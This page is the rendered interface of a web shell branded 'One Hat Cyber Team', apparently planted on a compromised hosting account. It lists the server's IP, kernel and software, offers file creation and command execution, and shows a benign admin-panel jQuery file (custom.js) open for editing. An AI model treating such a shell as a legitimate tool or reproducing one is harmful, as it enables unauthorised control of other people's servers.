⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.31
Server IP:
95.217.99.93
Server:
Linux sv1.sonichosted.com 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
Server Software:
LiteSpeed
PHP Version:
8.2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
lifestylescentra
/
www
/
public
/
backend
/
js
/
Edit File: custom.js
(function ($) { "use strict"; $(document).ready(function () { tinymce.init({ selector: ".summernote", plugins: "anchor autolink charmap codesample emoticons image link lists media searchreplace table visualblocks wordcount ", toolbar: "undo redo | blocks fontfamily fontsize | bold italic underline strikethrough | link image media table mergetags | addcomment showcomments | spellcheckdialog a11ycheck typography | align lineheight | checklist numlist bullist indent outdent | emoticons charmap | removeformat", tinycomments_mode: "embedded", tinycomments_author: "Author name", mergetags_list: [ { value: "First.Name", title: "First Name", }, { value: "Email", title: "Email", }, ], }); $(".select2").select2(); $(".sub_cat_one").select2(); $(".tags").tagify(); $(".datetimepicker_mask").datetimepicker({ format: "Y-m-d H:i", }); $(".custom-icon-picker").iconpicker({ templates: { popover: '
' + '
', footer: '', buttons: '
Cancel
' + '
Accept
', search: '
', iconpicker: '
', iconpickerItem: '
', }, }); $(".datepicker").datepicker({ format: "yyyy-mm-dd", startDate: -Infinity, }); $(".clockpicker").clockpicker({ donetext: 'Done' }); }); $("#setLanguageHeader").on("change", function (e) { this.submit(); }); const inputSelector = "#search_menu"; const listSelector = "#admin_menu_list"; function filterMenuList() { const query = $(inputSelector).val().toLowerCase(); $(listSelector + " a").each(function () { const areaName = $(this).text().toLowerCase(); $(this).toggle(areaName.includes(query)); }); } $(inputSelector).on("input focus", function () { filterMenuList(); $(listSelector).removeClass("d-none"); }); $(document).on("click", function (e) { if ( !$(e.target).closest(inputSelector).length && !$(e.target).closest(listSelector).length ) { $(listSelector).addClass("d-none"); } }); $(".change-currency").on("change", function (e) { $(".set-currency-header").submit(); }); // Nice select $(".select_js").niceSelect(); })(jQuery);
Simpan